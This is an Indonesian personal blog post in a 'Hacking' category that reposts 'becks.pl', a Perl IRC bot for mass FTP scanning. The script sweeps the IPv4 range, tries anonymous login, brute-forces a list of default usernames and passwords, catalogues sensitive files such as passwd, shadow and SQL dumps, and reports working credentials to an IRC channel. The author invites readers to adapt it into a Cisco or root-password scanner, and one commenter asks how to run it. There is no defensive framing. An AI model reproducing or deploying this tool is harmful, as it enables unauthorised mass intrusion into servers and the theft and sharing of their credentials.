Sunday, 2026-07-26, 11:31 AM
Herman's Site Welcome to my home page
Politeknik Santo Thomas Medan
menerima mahasiswa/i baru TA 2009/2010.
  • Klik disini
  • Section categories
    wireless [1]
    Network [1]
    Mikrotik [4]
    Catatan Kecil [1]
    Seberkas catatan pengalaman
    Program VB [1]
    Program
    My Diary [2]
    Hitam & Terang ku
    Curhat [6]
    Curhat
    Hacking [11]
    Hacking
    lagu [5]
    Nama:
    Alamat Email/Web:
    Pesan:
    :) :( :D :p :(( :)) :x
    Entries archive
      
    Main » 2009 » February » 26 » mendapatkan password root
    mendapatkan password root
    5:57 PM
    anda bisa memodifikasi source ini menjadi mass scaner CISCO atau root password. haha..

    #!/usr/bin/perl
    #
    # Hollow Chocolate Bunnies From Hell
    # presenting
    # becks.pl - FTP scanner by softxor
    # Version 0.9
    #
    #
    # becks.pl is an IRC bot that scans for anonymous FTP servers or FTP’s witth easy to break
    # password protection and posts the contents (if anonymous login) or the login data to a specific Channel
    #
    # usage: ./ftp_scan 132.311.0.0
    #
    # Greets fly out to: billgate, ddido, sikodoQ, anakpinguin #indohackerlink #misdinar
    #
    # Contact:
    # - WWW: http://bunnies.rootyourbox.org/
    # - MAIL: insertnamehere at gmx dot de
    # - IRC: #misdinar @ irc.dal.net. mildnet.org
    #
    # NOTE: This bot has been written just for fun. If you can’t get it running, it’s better that way.
    #
    # Yet to come:
    # extern pass/userfile

    use strict;
    use warnings;
    use Net::FTP;

    #################################
    # Global Configuration #
    #################################
    my %config = (max_childs => 10, # Maximal parallel process (recomended up to 100)
    logging => 0, # If 1, then enable logging
    use_brute_force => 1, # If 0, then scans only for anonymous ftps
    indexing => 0, # If 1, creates for every accessed ftp a file with the contents of that ftpd
    anon_email => ’somedude@somewhere.com’, # Email Address to use in anonymous checking
    timeout => 1, # Connection timeout in seconds
    passfile => ”, # Missing/not implemented in this version
    userfile => ”); # Missing/not implemented in this version

    #################################
    # IRC settings #
    #################################
    my %irc = (enabled => 1, # 1 for enable IRC bot
    server => ‘127.0.0.1′,
    port => 6667,
    nickname => ‘Bot|FTP|’.int(rand(99)),
    username => ‘ftpbot ftpbot ftbot ftpbot’, # Yes it has to be four times
    channel => ‘#channel’,
    nickserv => ”); # Nickserv password

    #################################
    # Data for brute forcing attack #
    #################################
    my @usernames = qw(Administrator upload admin web webmaster user root ftp adm guest);

    my @passwords = qw(password qwertz asdf test test123 1234 1111 12 345678 4321 12345678 123456 secret letmein upload pass support passwort god love 007 admin knight wizard letmein test administrator root web webmaster ftp);

    # Global declarations
    my $childs = 0;

    # Mirc colors
    my %colors = (white => “\x030″,
    red => “\x034″,
    green => “\x033″,
    gray => “\x0314″,
    yellow=> “\x038″,
    blue => “\x0312″,
    cyan => “\x0311″,
    orange=> “\x0307″);

    # Parse teh argument!
    my($ipa, $ipb, $ipc, $ipd) = ($ARGV[0] =~ m/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/) or die(”Append start IP.\n”);

    &main();
    exit();

    sub main {

    # Start IRC notifying process
    if ($irc{’enabled’} == 1) {
    pipe(IN, OUT) || die “Can’t create pipe….\n”;

    OUT->autoflush(1);
    IN->autoflush(1);

    if (!fork) {
    &irc_notify();
    } else {
    close IN;
    }

    sleep(30); # needed to let the IRC process join the channel
    }

    close IN;

    print “Start scanning…\nBe patient.\n”;

    my $OUTPUT_AUTOFLUSH = 1; # To avoid buffering problems with fork()

    # loop through IPs
    while (1) {
    for my $a ($ipa..255) {

    if ($a == 10 || $a == 198 || $a == 127 || $a == 0 || $a == 172 || $a == 1) {
    next;
    }

    for my $b ($ipb..255) {
    for my $c ($ipc..255) {
    for my $d ($ipd..255) {

    if (fork() == 0) {
    #print “$a.$b.$c.$d\n”; # Uncomment for verbose output
    &scan(”$a.$b.$c.$d”);
    exit;
    } else {
    $childs++;
    if ($childs >= $config{’max_childs’}) {
    wait();
    $childs–;
    }
    }

    } # end $d
    } # end $c
    } # end $b
    } #end $a

    } # end while

    } #end main()

    # gets the content of a dir by recursion
    sub get_dir {

    my ($cur_dir, $ftp) = @_;
    my ($content, @found_files, $write, @dirs);
    $content = ”; # needed
    my %data_types = (mpg => ‘Video’,
    avi => ‘Video’,
    xvid=> ‘DivX’,
    divx=> ‘DivX’,
    mp3 => ‘Music’,
    ogg => ‘Music’,
    sql => ‘MySQL’,
    xxx => ‘Pr0n’,
    pdf => ‘Pdf’,
    jpg => ‘Pictures’,
    gif => ‘Pictures’,
    zip => ‘Zip’,
    ace => ‘Ace’,
    rar => ‘Rar’,
    exe => ‘Exe’,
    txt => ‘Txt’,
    passwd => ‘passwd’,
    shadow => ’shadow’,
    htm => ‘HTML’,
    mdb => ‘AccessDB’,
    bak => ‘Backup’,
    xls => ‘Excel Sheet’);

    $ftp->cwd($cur_dir);
    my @files = $ftp->dir;

    if ($cur_dir eq ‘/’) {
    $write = &test_write($ftp);
    }

    # $_ isnt working here, because of validity conflicts :(
    foreach my $file (@files) {

    if ($file eq ‘.’ || $file eq ‘..’) {
    next;
    }

    if ($file =~ m/^d[rwx-].*\d\s(.*?)$/) {
    push (@dirs, $1);
    } else {

    # find interesting content
    foreach my $type (keys %data_types) {
    if ($file =~ m/$type$/gi) {
    push (@found_files, $data_types{$type});
    }
    }

    }

    } # end for each

    while(my $cur = pop(@dirs)) {
    if ($cur_dir eq ‘/’) {
    $content .= &get_dir(’/’.$cur, $ftp);
    } else {
    $content .= &get_dir($cur_dir.’/’.$cur, $ftp);
    }
    }

    @found_files = &del_double(@found_files);

    foreach my $files (@found_files) {
    $content .= $files.’ ‘;
    }

    if ($write) {
    $content .= “$colors{’red’}Write-Enabled”;
    }

    return $content;

    }

    sub scan {

    my ($host) = @_;

    my $ftp = Net::FTP->new($host,Timeout=>$config{’timeout’}) or return;

    # grab banner
    my $banner = $ftp->message;
    $banner =~ s/\n/ /g;

    # Anonymous checker
    if ($ftp->login(’anonymous’, $config{’anon_email’})) {

    if ($config{’logging’}) {
    open(LOG, “>anonymous.log”);
    } else {
    open(LOG, ‘>-’);
    }

    if ($config{’indexing’}) {
    my $content = &get_dir(”/”, $ftp);

    if($irc{’enabled’}) {

    if ($content ne ”) {
    print OUT “$colors{’blue’}Anonymous $colors{’green’}FTP: $colors{’gray’}ftp://$host/ $colors{’blue’}Content: $colors{’green’}$content$colors{’blue’}Banner: $colors{’green’}$banner\n”;
    } else {
    print OUT “$colors{’blue’}Anonymous $colors{’green’}FTP: $colors{’gray’}ftp://$host/ $colors{’blue’}Banner: $colors{’green’}$banner\n”;
    }

    } #end irc

    print LOG “ftp://$host/ Content: $content Banner: $banner\n”

    } else {

    if($irc{’enabled’}) {
    print OUT “$colors{’blue’}Anonymous $colors{’green’}FTP: $colors{’gray’}ftp://$host/ $colors{’blue’}Banner: $colors{’orange’}$banner\n”;
    }

    print LOG “ftp://$host/ Banner: $banner\n”

    }

    close(LOG);

    $ftp->quit;

    return;
    } # end anonymous

    # if you’re not willing, you’ll never grow old!
    if ($config{’use_brute_force’}) {

    foreach my $user (@usernames) {
    foreach my $pass (@passwords) {
    if($ftp->login($user, $pass)) {

    if ($config{’logging’}) {
    open(LOG, “>protected.log”);
    } else {
    open(LOG, ‘>-’);
    }

    if($irc{’enabled’}) {
    print OUT “$colors{’red’}ftp://$user:$pass\@$host/ $colors{’blue’}banner: $colors{’orange’}$banner\n”;
    }

    print LOG “ftp://$user:$pass\@$host/\n”;
    close(LOG);

    $ftp->quit;

    return;

    } else {
    next;
    }
    }
    }
    } # end brute force

    return;
    }

    # paste incoming ftps on the irc channel
    sub irc_notify {

    print “Staring IRC client\n”;

    close OUT;

    my $con = IO::Socket::INET->new(PeerAddr=>$irc{’server’},
    PeerPort=>$irc{’port’},
    Proto=>’tcp’,
    Timeout=>’30′) or die(”Error: IRC handler cannot connect\n”);

    if(fork) {
    # waiting for new ftps, to give them out
    while (my $answer = <$con>) {

    if($answer =~ m/^PING \:(.*?)$/gi) {
    print $con “PONG :”.$1.”\n”;
    }

    }

    }

    print $con “USER $irc{’username’}\r\n”;
    print $con “NICK $irc{’nickname’}\r\n”;

    sleep(5);
    print $con “JOIN $irc{’channel’}\r\n”;
    print “IRC client is running.\n”;

    if ($irc{’nickserv’}) {
    print $con “privmsg nickserv IDENTIFY $irc{’nickserv’}\r\n”;
    }

    # make sure we dont ping out
    while (my $ftp = ) {
    print $con “privmsg $irc{’channel’} :$ftp\r\n”;
    }

    close $con;
    }

    # test if ftp is write enabled
    # return 1 if writing is allowed,
    # 0 if permitted
    sub test_write {
    my $ftp = $_[0];

    if ($ftp->mkdir(”test”)) {
    $ftp->rmdir(”test”); # we want to be ‘polite’ ;)
    return 1;
    }

    return 0;
    }

    # deletes double entries in an array
    sub del_double {
    my %all;

    grep { $all {$_} = 0} @_;

    return (keys %all);
    }

    Category: Hacking | Views: 6192 | Added by: hermansilalahi | Rating: 0.0/0 |
    Total comments: 1
    1 noname  
    0
    gimana cara run bot nya ?
    sudah di coba "perl sourcebot.pl" tapi malah pesan error yang muncul bot nya gak mau jalan.

    Only registered users can add comments.
    [ Registration | Login ]
    Calendar
    «  February 2009  »
    Su Mo Tu We Th Fr Sa
    1234567
    891011121314
    15161718192021
    22232425262728
    Statistics

    Total online: 1
    Guests: 1
    Users: 0
    Search
    Site friends
  • My Facebook
  • Andi LP3I
  • Mas Edri
  • Alumni St.Thomas
  • Politeknik St.Thomas
  • (nieh site kampus sapa yang buat sieh??)
    IP
    Jumlah pengunjung:
    buy viagra counter
    Copyright© 2026 Powered by Herman Silalahi